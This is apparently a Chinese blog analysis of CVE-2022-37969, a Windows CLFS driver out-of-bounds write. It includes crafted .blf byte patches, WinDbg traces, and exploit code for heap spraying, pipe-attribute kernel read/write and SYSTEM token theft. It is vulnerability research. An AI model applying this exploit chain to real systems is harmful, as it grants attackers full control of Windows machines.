CVE-2022-37969 clfs漏洞分析与利用 CVE-2022-37969是通用日志文件系统驱动clfs中的越界写入漏洞,通过该漏洞,可以完成提权.
1.clfs结构 clfs是一个通用日志记录的子系统,在内核模式和用户模式都可以使用它来构建日志.在基本日志文件blf中生成日志.
通过CreateLogFile创建和打开blf文件.
日志文件由6个不同的元数据块组成,和其对应的shadow用于备份的块,每个元数据块都以CLFS Log Block Header开头.
SignaturesOffset字段是存储所有扇区签名的内存数组的偏移,日志在编码时每个0x200字节的最后2个字节被签名覆盖,被覆盖前的数据在SignaturesOffset字段记录的偏移的内存中,.解码时,将其中保存的数据写入原位置.
RecordOffsets是日志块内记录的偏移量数组.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 typedef struct _CLFS_LOG_BLOCK_HEADER { UCHAR MajorVersion; UCHAR MinorVersion; UCHAR Usn; CLFS_CLIENT_ID ClientId; USHORT TotalSectorCount; USHORT ValidSectorCount; ULONG Padding; ULONG Checksum; ULONG Flags; CLFS_LSN CurrentLsn; CLFS_LSN NextLsn; ULONG RecordOffsets[16 ]; ULONG SignaturesOffset; } CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
BaseBlock位于blf文件偏移0x800的位置,到偏.移0x71ff结束.以长度位0x70的CLFS Log Block Header日志块标头开始.
后面跟着的则是基记录表头,结构如下
里面有几个字段需要关注下:
rgClients表示指向客户端上下文对象的偏移量数组
rgContainers表示指向容器对象的上下文数组
cbSymbolZone表示符号区域中新符号的下一个可用偏移量
客户端上下文的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef struct _CLFS_CLIENT_CONTEXT { CLFS_NODE_ID cidNode; CLFS_CLIENT_ID cidClient; USHORT fAttributes; ULONG cbFlushThreshold; ULONG cShadowSectors; ULONGLONG cbUndoCommitment; LARGE_INTEGER llCreateTime; LARGE_INTEGER llAccessTime; LARGE_INTEGER llWriteTime; CLFS_LSN lsnOwnerPage; CLFS_LSN lsnArchiveTail; CLFS_LSN lsnBase; CLFS_LSN lsnLast; CLFS_LSN lsnRestart; CLFS_LSN lsnPhysicalBase; CLFS_LSN lsnUnused1; CLFS_LSN lsnUnused2; CLFS_LOG_STATE eState; union { HANDLE hSecurityContext; ULONGLONG ullAlignment; }; } CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;
容器上下文的结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 typedef struct _CLFS_CONTAINER_CONTEXT { CLFS_NODE_ID cidNode; ULONGLONG cbContainer; CLFS_CONTAINER_ID cidContainer; CLFS_CONTAINER_ID cidQueue; union { CClfsContainer* pContainer; ULONGLONG ullAlignment; }; CLFS_USN usnCurrent; CLFS_CONTAINER_STATE eState; ULONG cbPrevOffset; ULONG cbNextOffset; } CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
其中字段pContainer是指向运行时容器CClfsContainer对象内核指针,位于容器上下文结构中偏移0x18的位置.
CClfsLogFcbPhysical 类与 CClfsBaseFilePersisted 类的部分结构。
其中m_rgBlocks在CClfsBaseFilePersisted类偏移为0x30的位置,这是一个大小为0x90的结构,控制器从文件赋值块的内容时,CLFS_METADATA_BLOCK保存了每个块的大小,起始偏移量,内核地址.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 typedef struct struct_CClfsLogFcbPhysical { void * vftable; UCHAR* pLogName; CClfsBaseFilePersisted,* pCClfsBaseFilePersisted; } CClfsLogFcbPhysical,*pCClfsLogFcbPhysical; typedef struct struct_CClfsBaseFilePersisted { Heap* m_rgBlocks; CClfsContainer* pContainer; } CClfsBaseFilePersisted,*pCClfsBaseFilePersisted; typedef struct m_rgBlocks { CLFS_METADATA_BLOCK block0; CLFS_METADATA_BLOCK block1; CLFS_METADATA_BLOCK block2; CLFS_METADATA_BLOCK block3; CLFS_METADATA_BLOCK block4; CLFS_METADATA_BLOCK block0; } typedef struct CLFS_METADATA_BLOCK { PUCHAR pbImage; ULONG cbImage; ULONG cbOffset; CLFS_METADATA_BLOCK_TYPE eBlockType; } typedef struct struct_Heap { CLFS_LOG_BLOCK_HEADER *pCLFS_LOG_BLOCK_HEADER; } Heap,*pHeap;
2.poc分析 运行poc,bsod发生在CLFS!CClfsBaseFilePersisted::RemoveContainer中,通过栈回溯,可以看出应该是在清理CClfsContainer对象时发生了崩溃,rdi寄存器中的地址不可访问,造成了bsod.
这里的rdi寄存器实际上指向了CLFS_CONTAINER_CONTEXT+0x18的位置,也就是CClfsContainer对象的指针,但是这个指针由于被破坏掉,后面读取的时候,发生了崩溃.
poc创建了MyLog.blf后,进行了如下修改.
1 2 3 4 5 6 7 8 9 0x80C 0 checksum 0x868 50000000 SignaturesOffset 0x9a8 301b0000 reClients 0x1b98 4b110100 cbSymbolZone 0x2390 b81b0000 0x2394 301b0000 0x23a0 07f0fdc188 0x23ab 01000000 0x2418 20000000
为了定位到原因,首先bp CLFS!CClfsRequest::AllocContainer在添加容器请求时下断,看看后面是如何处理物理日志的.
内部调用了CClfsLogFcbPhysical::AllocContainer->CClfsBaseFilePersisted::AddContainer
CClfsBaseFilePersisted可以参考之前的结构
偏移0x2b0处为CClfsBaseFilePersisted的指针
CClfsBaseFilePersisted偏移0x30是结构m_rgBlocks,0x1c0位置是pContainer
1 bp clfs!CClfsLogFcbPhysical::AllocContainer
1 2 3 4 5 6 7 8 9 10 11 12 1: kd> dps poi(rcx+2b0) ffffdd84`caecc000 fffff801`24673820 CLFS!CClfsBaseFilePersisted::`vftable' ffffdd84`caecc008 ffffffff`00000001 ffffdd84`caecc010 00000000`00000000 ffffdd84`caecc018 00005b58`00000000 ffffdd84`caecc020 ffffdd84`ccbce910 ffffdd84`caecc028 00000000`00000006 ffffdd84`caecc030 ffffdd84`cb157de0 //m_blocks ffffdd84`caecc038 ffffdd84`cbe3a5d0 ffffdd84`caecc040 ffffbb0d`6db14088 ffffdd84`caecc048 00000001`0000000b ffffdd84`caecc050 ffffdd84`caecc000
根据上面的结构,可以找到BaseBlock在内存中的位置.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 1: kd> dps ffffdd84`cb157de0 ffffdd84`cb157de0 00000000`00000000 m_blocks[0] Control Block ffffdd84`cb157de8 00000000`00000400 ffffdd84`cb157df0 00000000`00000000 ffffdd84`cb157df8 00000000`00000000 m_blocks[1] Control Block shadow ffffdd84`cb157e00 00000400`00000400 ffffdd84`cb157e08 00000000`00000001 ffffdd84`cb157e10 ffffbb0d`6db14000 m_blocks[2] Base Block ffffdd84`cb157e18 00000800`00007a00 ffffdd84`cb157e20 00000000`00000002 ffffdd84`cb157e28 ffffbb0d`6db14000 ffffdd84`cb157e30 00008200`00007a00 ffffdd84`cb157e38 00000000`00000003 ffffdd84`cb157e40 00000000`00000000 ffffdd84`cb157e48 0000fc00`00000200 ffffdd84`cb157e50 00000000`00000004 ffffdd84`cb157e58 00000000`00000000
为了搞清楚CClfsContainer指针中的数据为什么会被破坏,需要在相关的位置下断分析.
CClfsBaseFilePersisted+0x1c0位置和_CLFS_CONTAINER_CONTEXT+0x18的位置,因为里面都有CClfsContainer指针.
_CLFS_CONTAINER_CONTEXT结构查找:
先执行到此处,把容器添加成功
然后找到rgContainers中记录的偏移
1 2 3 4 5 6 7 8 9 0: kd> dd ffffbb0d`6db14000+398 ffffbb0d`6db14398 00001468 00000000 00000000 00000000 ffffbb0d`6db143a8 00000000 00000000 00000000 00000000 ffffbb0d`6db143b8 00000000 00000000 00000000 00000000 ffffbb0d`6db143c8 00000000 00000000 00000000 00000000 ffffbb0d`6db143d8 00000000 00000000 00000000 00000000 ffffbb0d`6db143e8 00000000 00000000 00000000 00000000 ffffbb0d`6db143f8 00000000 00000000 00000000 00000000 ffffbb0d`6db14408 00000000 00000000 00000000 00000000
然后Base Block+LogBlockHeader的偏移+rgContainers记录偏移+CLFS_CONTAINER_CONTEXT中的pContainer元素偏移,就找到了.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0: kd> dps poi(ffffbb0d`6db14000+0x70+0x1468+0x18) ffffbb0d`6b4d2440 fffff801`24673800 CLFS!CClfsContainer::`vftable' ffffbb0d`6b4d2448 00000000`00080000 ffffbb0d`6b4d2450 00000000`00000000 ffffbb0d`6b4d2458 00000000`00000000 ffffbb0d`6b4d2460 ffffffff`80001830 ffffbb0d`6b4d2468 ffffdd84`ccbce260 ffffbb0d`6b4d2470 ffffdd84`ccb67270 ffffbb0d`6b4d2478 00000000`00000001 ffffbb0d`6b4d2480 00001000`00000000 ffffbb0d`6b4d2488 00000000`00000200 ffffbb0d`6b4d2490 00000000`00000000 ffffbb0d`6b4d2498 00000000`00000000 ffffbb0d`6b4d24a0 00000000`00000000 ffffbb0d`6b4d24a8 00000000`00000000 ffffbb0d`6b4d24b0 ffffbb0d`6b4d2440 ffffbb0d`6b4d24b8 00000000`00000000
然后对这两个目标下写入断点
1 2 0: kd> ba w4 ffffbb0d`6db14000+0x70+0x1468+0x18 0: kd> ba w4 ffffe481`8c7e3000+0x1c0
中断在了CLFS!CClfsLogFcbPhysical::AllocContainer处
此时BaseBlock->LogBlockHeader中SignaturesOffset字段已经发生了修改.
需要注意的是,poc中进行的修改是将SignaturesOffset设置为50000000的.这里的值应该是00000050,此时SignaturesOffset字段在内存中的值却是ffff0050,原因会在后面展开分析.
f5继续运行,中断在了此CLFS!memset+0x3b的位置.此时CLFS_CONTAINER_CONTEXT结构中的数据被直接写入,造成了内部指针的损坏,指向了未知的数据.
1 2 fffff801`2466cc78 0f1101 movups xmmword ptr [rcx], xmm0 fffff801`2466cc7b 4c03c1 add r8, rcx //中断在此处
当前的调用堆栈,可以推测是在处理Symbol相关字段的时候出现了问题.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 1: kd> k # Child-SP RetAddr Call Site 00 ffff8182`754c33f8 fffff801`2469e4ac CLFS!memset+0x3b 01 ffff8182`754c3400 fffff801`246a1251 CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c 02 ffff8182`754c3430 fffff801`2469c517 CLFS!CClfsBaseFile::FindSymbol+0x185 03 ffff8182`754c3490 fffff801`2469aef4 CLFS!CClfsBaseFilePersisted::AddSymbol+0x6b 04 ffff8182`754c3510 fffff801`2469aaf8 CLFS!CClfsBaseFilePersisted::AddContainer+0xdc 05 ffff8182`754c35c0 fffff801`246b02fc CLFS!CClfsLogFcbPhysical::AllocContainer+0x148 06 ffff8182`754c3660 fffff801`2468dd45 CLFS!CClfsRequest::AllocContainer+0x22c 07 ffff8182`754c3710 fffff801`2468d857 CLFS!CClfsRequest::Dispatch+0x351 08 ffff8182`754c3760 fffff801`2468d7a7 CLFS!ClfsDispatchIoRequest+0x87 09 ffff8182`754c37b0 fffff801`2065d925 CLFS!CClfsDriver::LogIoDispatch+0x27 0a ffff8182`754c37e0 fffff801`20a762b2 nt!IofCallDriver+0x55 0b ffff8182`754c3820 fffff801`20a770ac nt!IopSynchronousServiceTail+0x1d2 0c ffff8182`754c38d0 fffff801`20a76ab6 nt!IopXxxControlFile+0x5dc 0d ffff8182`754c3a00 fffff801`20823775 nt!NtDeviceIoControlFile+0x56 0e ffff8182`754c3a70 00007ffb`e2bc2dc4 nt!KiSystemServiceCopyEnd+0x25 0f 000000a3`99dde5c8 00007ffb`e04a3eeb 0x00007ffb`e2bc2dc4 10 000000a3`99dde5d0 0000022c`9aa35240 0x00007ffb`e04a3eeb 11 000000a3`99dde5d8 0000022c`9a950000 0x0000022c`9aa35240 12 000000a3`99dde5e0 00000000`00000002 0x0000022c`9a950000 13 000000a3`99dde5e8 00007ffb`e2b644b3 0x2 14 000000a3`99dde5f0 000000a3`99dde620 0x00007ffb`e2b644b3 15 000000a3`99dde5f8 0000022c`8007a808 0x000000a3`99dde620 16 000000a3`99dde600 0000022c`9c3b1480 0x0000022c`8007a808 17 000000a3`99dde608 000000a3`0000005e 0x0000022c`9c3b1480 18 000000a3`99dde610 000000a3`99dde6e8 0x000000a3`0000005e 19 000000a3`99dde618 00000000`00000008 0x000000a3`99dde6e8 1a 000000a3`99dde620 00000000`00000027 0x8 1b 000000a3`99dde628 00000000`00000000 0x27
CLFS!CClfsBaseFilePersisted::AllocSymbol函数中首先通过通过GetBaseLogRecord获取CLFS_BASE_RECORD_HEADER结构,然后加偏移+0x1328(0x870+0x1328),取到cbSymolZone的数据.然而cbSymolZone字段在poc中是进行了篡改的,值为0001114b.
然后开始对cbSymbolZone字段做了一些验证,判断是否大于signaturesOffset,大于直接返回异常了.
然而前面signaturesOffset已经被修改为了0xffff0050了,所以这里的验证直接被绕过了,导致后面可以执行到memset,导致CClfsContainer中的指针发生损坏.
写入的地址则是BASE_RECORD_HEADER+0001114b+0x1338.
1 2 3 4 5 6 7 8 9 1: kd> dd rdi+1328 ffffbb0d`6db04398 0001114b 00000000 03030000 00000001 ffffbb0d`6db043a8 c1fdf006 00000030 02d20016 000000b8 ffffbb0d`6db043b8 00000000 00000000 00000000 00000000 ffffbb0d`6db043c8 000013f0 00001368 00000000 00000000 ffffbb0d`6db043d8 c1fdf007 00000088 01000000 00009c40 ffffbb0d`6db043e8 00000000 00000000 00000000 00000000 ffffbb0d`6db043f8 00000000 01100000 00000000 00000000 ffffbb0d`6db04408 00000000 00000000 00000000 ffffffff
如果signaturesOffset字段如果没有被篡改,这里的验证是无法通过的,所以关键就在于signaturesOffset是如何被篡改的.
在之前的调试中,AddLogContainer之前,signaturesOffset的值就已经被篡改了,在poc中上一个调用的函数是CreateLogFile.对应的clfs对数据块的处理过程如下
CClfsRequest::Create->CClfsLogFcbPhysical::Initialize->CClfsBaseFilePersisted::OpenImage->CClfsBaseFilePersisted::ReadImage->CClfsBaseFile::AcquireMetadataBlock->CClfsBaseFilePersisted::ReadMetadataBlock
ReadMetadataBlock函数,这个函数被循环调用,申请指定大小的内存,将每个block的数据读取到CClfsBaseFilePersisted->m_rgBlocks中,总共6个元数据块.
ClfsDecodeBlock用于解析_CLFS_LOG_BLOCK_HEADER.在里面应该可以看到对signaturesOffset的处理.
在内部又调用了 ClfsDecodeBlockPrivate.可以看出它是在进行解码,覆盖每个扇区的签名,还原为原数据.
之前分析到漏洞是因为signaturesOffset被篡改引起的,现在我们找到了一个合适下断分析的位置,我们直接在ReadMetadataBlock处理BaseBlock的时候对signaturesOffset下个写入断点就可以了
在ReadMetadataBlock执行到了第三次的时候申请的长度为0x7a00的内存池,就是BaseBlock,此时对目标进行下断.
1 ba w8 0xffffd4858453b000+0x68
首先在CLFS!ClfsEncodeBLockPrivate函数里,被正常设置为了0x50
而后在第二次执行CLFS!ClfsEncodeBLockPrivate时,向高位写入了0xFFFF.导致当前的值变为了0xFFFF0050.可以看下伪代码,这里扇区的签名是0xffff,EnCode时进行了覆盖.导致signaturesOffset变为了0xffff0050,而当前eax的值为0xe,也就是说它是从偏移0x200*0xe-8的位置取的扇区签名,所以要搞清楚这块baseblock+0x200*0xe-8内存是怎么被修改的.
下面重新运行下系统,对这块内存下断点
1 ba w8 0xffffc20c5e2b9000+0x200*0xe-8
中断在了ResetLog函数中,是它将这块内存设置为了0xffffffff00000000,在伪代码中可以看到,扇区签名位于最后4个字节偏移1bfc处,而这里的数据CLFS_LSN_INVALID为8个字节,从偏移1bf8处开始覆盖.所以值被覆盖为了0xffff0050.
栈回溯到上一层,看看为什么会调用ResetLog.
在CClfsLogFcbPhysical::Initialize中将CLFS_CLIENT_CONTEXT结构体中的eState作为判断条件执,如果为false,会执行给到ResetLog.
这个结构体由CClfsBaseFile::AcquireClientContext进行填充,用于获取客户端上下文对象.
调用过程如下
1 2 3 CClfsBaseFile::AcquireClientContext CClfsBaseFile::GetSymbol(this, v8, v4, clientContext) clientContext = CClfsBaseFile::OffsetToAddr((#456 *)this);
再来看下poc进行的修改,它对reClients客户端偏移上下文进行了修改,0x1b30+0x870=0x23a0,并在0x23a0处伪造了一个客户端上下文.在这个伪造的客户端上下文结构中,在偏移为0x78处的eState字段设置为了0x20.所以在AcquireClie.ntContext获取伪造的客户端上下文对象后,才会执行到ResetLog,才会导致SignaturesOffset被覆盖.
1 2 3 4 5 6 7 8 9 0x80C 0 checksum 0x868 50000000 SignaturesOffset 0x9a8 301b0000 reClients 0x1b98 4b110100 cbSymbolZone 0x2390 b81b0000 0x2394 301b0000 0x23a0 07f0fdc188 0x23ab 01000000 0x2418 20000000
现在,已经分析清楚了漏洞原因,用户可以通过构造虚假上下文,通过异常值最终覆盖掉SignaturesOffset,在对SignaturesOffset与cbSymbolZone进行检查时不严格,导致发生了任意地址的越界写入.导致CClfsContainer指针的数据被损坏,在释放时触发异常.
3.漏洞利用 exp中使用的技巧 1.通过CreatePipe创建一个匿名管道,可以获得一个读取句柄和一个写入句柄.
然后调用NtFsControlFile将FsControlCode设置为0x11003c和0x110038可以管道创建属性和读取属性值,可以用于构造任意地址读写.
PipeAttribute结构:
1 2 3 4 5 6 Flink 0x0 Blink 0x8 AttributeNawme 0x10 AttributeValueSize 0x18 AttributeValue 0x20 data 0x28
2._ETHREAD内核对象中偏移0x232处PreviousMode存储了先前模式,如果将先前模式修改为0,则可以绕过一些函数对先前模式的检查,通过NtWriteVirtualMemory直接修改内核的内存.
3.system进程eprocess内核地址的获取和需要提权进程eprocess内核地址的获取,在之前分析afd内核漏洞利用的时候遇到过,exp中使用的方法同样也是通过未导出的nt函数_NtQuerySystemInformation,通过对句柄的索引进行对比,找到对应的内核对象.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 SIZE_T GetObjectKernelAddress (HANDLE Object) { PSYSTEM_HANDLE_INFORMATION_EX handleInfo = NULL ; ULONG handleInfoSize = 0x1000 ; ULONG retLength; NTSTATUS status; SIZE_T kernelAddress = 0 ; BOOL bFind = FALSE; while (TRUE) { handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc (LPTR, handleInfoSize); status = fnNtQuerySystemInformation (SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (status == 0xC0000004 || NT_SUCCESS (status)) { LocalFree (handleInfo); handleInfoSize = retLength + 0x100 ; handleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)LocalAlloc (LPTR, handleInfoSize); status = fnNtQuerySystemInformation (SystemExtendedHandleInformation, handleInfo, handleInfoSize, &retLength); if (NT_SUCCESS (status)) { for (ULONG i = 0 ; i < handleInfo->NumberOfHandles; i++) { if ((USHORT)Object == 0x4 ) { if (0x4 == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; bFind = TRUE; break ; } } else { if (GetCurrentProcessId () == (DWORD)handleInfo->Handles[i].UniqueProcessId && (SIZE_T)Object == (SIZE_T)handleInfo->Handles[i].HandleValue) { kernelAddress = (SIZE_T)handleInfo->Handles[i].Object; bFind = TRUE; break ; } } } } } if (handleInfo) LocalFree (handleInfo); if (bFind) break ; } return kernelAddress; }
exp分析 1.%public%/目录下创建日志文件MyLog.blf.然后循环创建10个这样的日志文件. 然后使用了一个方法确保baseblock在内存池中偏移一致:
在每次新创建完一个日志文件后,会执行函数getBigPoolInfo.
在getBigPoolInfo中调用函数NtQuerySystemInformation,将查询参数设置为SystemBigPoolInformation,获取所有bigpool内存结构.然后筛选出池tag为”Clfs”,大小为0x7a00的baseblock池.然后依次检查每个基本块之间的偏移是否一致的,如果不一致,会继续循环,直到一致为止.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 do { HANDLE logFile1; do { v26 = v24; memset (buf, 0 , 0x1000 ); unsigned int rnum = rand (); wsprintfW ((LPWSTR)buf, L"%s_%d" , stored_env_fname, rnum); logFile1 = CreateLogFile ((LPWSTR)buf, 0xc0010000 , 3 , 0 , 4 , 0 ); } while (logFile1 == (HANDLE)-1 ); int * handleArray = (INT*)malloc (4 ); *handleArray = (INT)logFile1; getBigPoolInfo (p_a2); v24 = p_a2[0 ]; } while (!v26);
2.在exp中制作了一个精心构造的日志文件,这个文件在前面分析过了,然后修复了crc验证.
3.开始布局堆喷 在地址0x5000000申请了长度0x100000的内存空间.
然后在地址0x10000申请了长度为0x1000000的内存,然后在0x10000内存中每隔10个字节写入地址0x5000000.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 int doHeapSpray () { UINT64 alloc00 = 0x5000000 ; if (!VirtualAlloc ((LPVOID)alloc00, 0x100000 , 0x3000 , 4 )) { printf ("[-] Failed to allocate memory\n" ); return 0 ; } if (!VirtualAlloc ((LPVOID)0x10000 , 0x1000000 , 0x3000 , 4 )) { DWORD lastError = GetLastError (); printf ("[-] Failed to allocate memory at address 0x1000\n" ); return 0 ; } for (int i = 0 ; i < 0x1000000 ; i += 0x10 ) *(UINT64*)(i + 0x10000 ) = 0x5000000 ; printf ("[+] Successful allocated at 0x10000\n" ); return 0 ; }
内存如下
addr
val
0x10000
0x5000000
0x10008
0
0x10010
0x5000000
0x10018
0
……
……..
0x100fff0
0x5000000
创建了缓冲区大小为0x1000的匿名管道,而后使用NtFsControlFile函数,传入codeL0x11003c,向管道中添加属性.
就像前面寻找clfs的bigbool一样,这里使用了同样的方法去寻找管道属性的内核地址.
然后在0xffffffff地址申请了长度为0x100000的内存.
0xffffffff内存地址写入system_eprocess&0xfffffffffffff000
在0x100000007处将内存修改为0x414141414141005A.
从0x10008处开始,每隔10个字节写入pipeAttribute->AttributeValueSize字段.
当前堆喷结构如下
addr
val
0x10000
0x5000000
0x10008
AttributeValueSize_ptr
0x10010
0x5000000
…….
……….
0xffffffff
system_eprocess&0xfffffffffffff000
0x100000007
0x414141414141005A
……
………
0x1000FFFF8
AttributeValueSize_ptr
然后获取了函数ClfsEarlierLsn和SeSetAccessStateGenericMapping的偏移,找到了通过实际的加载基址获取了在ring0中的位置.
4.提权 最终的提权函数是pipeArbitraryWrite,需要注意是这个函数执行了2次,触发了2次漏洞完成了提权,下面详细分析下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 int pipeArbitraryWrite () { HANDLE v51 = 0 ; if (fnClfsEarlierLsn) { *(PUINT64)(0x5000018 ) = fnClfsEarlierLsn; *(PUINT64)(0x5000000 ) = 0x123456789 ; *(PUINT64)(0x5000008 ) = fnSeSetAccessStateGenericMapping; if (flag == 1 ) { *(UINT64*)dest2 = System_token_value; *(UINT64*)dest3 = next_token; UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8 ; printf ("ADDRESS of MY PROCESSS TOKEN -8= %p\n" , Token_address_current_minus_8); for (int i = 8 ; i < 0x1000000 ; i += 0x10 ) { *(UINT64*)(i + 0x10000 ) = (UINT64)Token_address_current_minus_8; } *(UINT64*)(0x5000000 ) = 0x123456789 ; *(UINT64*)(0x5000018 ) = fnClfsEarlierLsn; *(UINT64*)(0x5000008 ) = fnSeSetAccessStateGenericMapping; } v51 = CreateLogFile (stored_env_fname, 0xC0010000 , 3u , 0 i64, 4 , 0 ); srand (time (NULL )); int v53 = rand (); WCHAR* v25 = (WCHAR*)malloc (0x1000 ); WCHAR* v85 = v25; memset (v25, 0 , 0x1000 ); wsprintfW (v85, L"%s_%d" , stored_env_xfname, v53); HANDLE v55 = CreateLogFile (v85, GENERIC_READ | GENERIC_WRITE | DELETE, 3u , 0 i64, 4u , 0 ); printf ("OK handle 55 0x%x\n" , v55); if (v55 == (HANDLE)-1 i64) { exit (1 ); } LONGLONG pcbContainer = 512 ; WCHAR pwszContainerPath[768 ] = { 0 }; WCHAR pwszContainerPath2[768 ] = { 0 }; WCHAR pwszContainerPath3[768 ] = { 0 }; if (flag == 0 ) { wsprintfW (pwszContainerPath, stored_env_containerfname); } else { wsprintfW (pwszContainerPath, stored_env_containerfname2); } printf ("pwszContainerPath: %ls\n" , pwszContainerPath); if (!AddLogContainer (v55, (PULONGLONG)&pcbContainer, pwszContainerPath, 0 i64)) { CloseHandle (v55); CloseHandle (v51); exit (1 ); } pcbContainer = 512 ; srand (time (NULL )); UINT v56 = rand (); wsprintfW (pwszContainerPath, stored_env_containerfname); AddLogContainer (v51, (PULONGLONG)&pcbContainer, pwszContainerPath, 0 i64); char v33[16 ] = { 0 }; char v28[4 ] = {}; v28[0 ] = 1 ; typedef NTSTATUS func (HANDLE, PIO_STATUS_BLOCK, PVOID, ULONG, FILE_INFORMATION_CLASS) ; func* _NtSetInformationFile = (func*)GetProcAddress (LoadLibraryA ("ntdll.dll" ), "NtSetInformationFile" ); NTSTATUS setresult = _NtSetInformationFile(v55, (PIO_STATUS_BLOCK)v33, v28, 1 i64, (FILE_INFORMATION_CLASS)13 ); VOID* dest = malloc (0x100 ); memset (dest, 0x42 , 0xff ); void * v9b = _malloc_base(0x2000 ); int v29 = 90 ; _NtFsControlFile(hReadPipe[0 ], 0 , 0 , 0 , &v30, 0x110038 , &v29, 2 , v9b, 0x2000 ); PUINT64 v27 = (PUINT64)((char *)v9b + v14 + 0x4b8 ); if (v27 == 0 ) { exit (1 ); }; System_token_value = *v27; next_token = v27[1 ]; printf ("SYSTEM TOKEN VALUE= %p\n" , System_token_value); if (System_token_value == 0x4141414141414141 ) { printf ("Failed attempt try again..\n" ); exit (1234 ); } } flag++; return 0 ; }
第一次触发: 首先将0x5000008地址设置为SeSetAccessStateGenericMapping函数,0x5000018地址设置为ClfsEarlierLsn函数,
然后便开始触发漏洞,在RemoveContainer函数时,此时的rdi应该指向的是虚假的CClfsContainer对象的位置.在后续的代码中,会主动调用函数ClfsEarlierLsn和SeSetAccessStateGenericMapping
addr
val
0x10000
0x5000000
0x10008
AttributeValueSize_ptr
0x10010
0x5000000
0x10018
AttributeValueSize_ptr
……
……..
0x100fff0
0x5000000
addr
val
0x5000000
0x123456789
0x5000008
SeSetAccessStateGenericMapping
0x5000010
0
0x5000018
ClfsEarlierLsn
在调用完函数ClfsEarlierLsn后,rdx寄存器的值一定为0xFFFFFFFF,我们在前面构造的堆喷中是处理了这块内存的
看下SeSetAccessStateGenericMapping函数的作用,就是将rdx中地址16字节的数据写入到[[rcx+48]+8]处.
而此处0xFFFFFFFF为system_eprocess&0xfffffffffffff000
AttributeValueSize_ptr+8为AttributeValue.
此时AttributeValue被覆盖为了system_eprocess&0xfffffffffffff000.
而后调用_NtFsControlFile,传入参数0x110038读取管道属性,由于AttributeValue被覆盖,这里可以直接读取到system的eprocess,获取到了system token.赋给了System_token_value.
第二次触发: 使用了flag标记了执行次数,在第二次执行时,然后设置每次偏移+8的值为当前进程token_addr-8的地址.
当再次执行到SeSetAccessStateGenericMapping函数的时候,此时System_token_value里面存储了第一次触发漏洞获取的system token值,并将system token设置到了内存0xffffffff.
此时触发漏洞,再次执行了SeSetAccessStateGenericMapping,此时就将Token_address_current_minus_8+8的值覆盖为了system_token,完成了提权.
addr
val
0x10000
0x5000000
0x10008
Token_address_current_minus_8
0x10010
0x5000000
0x10018
Token_address_current_minus_8
……
……..
0x100fff0
0x5000000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 if (flag == 1 ) { *(UINT64*)dest2 = System_token_value; *(UINT64*)dest3 = next_token; UINT64 Token_address_current_minus_8 = g_EProcessAddress + 0x4b8 - 8 ; printf ("ADDRESS of MY PROCESSS TOKEN -8= %p\n" , Token_address_current_minus_8); for (int i = 8 ; i < 0x1000000 ; i += 0x10 ) { *(UINT64*)(i + 0x10000 ) = (UINT64)Token_address_current_minus_8; } *(UINT64*)(0x5000000 ) = 0x123456789 ; *(UINT64*)(0x5000018 ) = fnClfsEarlierLsn; *(UINT64*)(0x5000008 ) = fnSeSetAccessStateGenericMapping; }
4.总结 分析这个漏洞花了挺长时间的,主要是对clfs的结构不熟悉,查阅了很多资料.漏洞的成因也比较复杂.利用的代码很有意思,非常值得学习,其中还涉及到了对win10的兼容性处理,这部分就不再花时间分析了.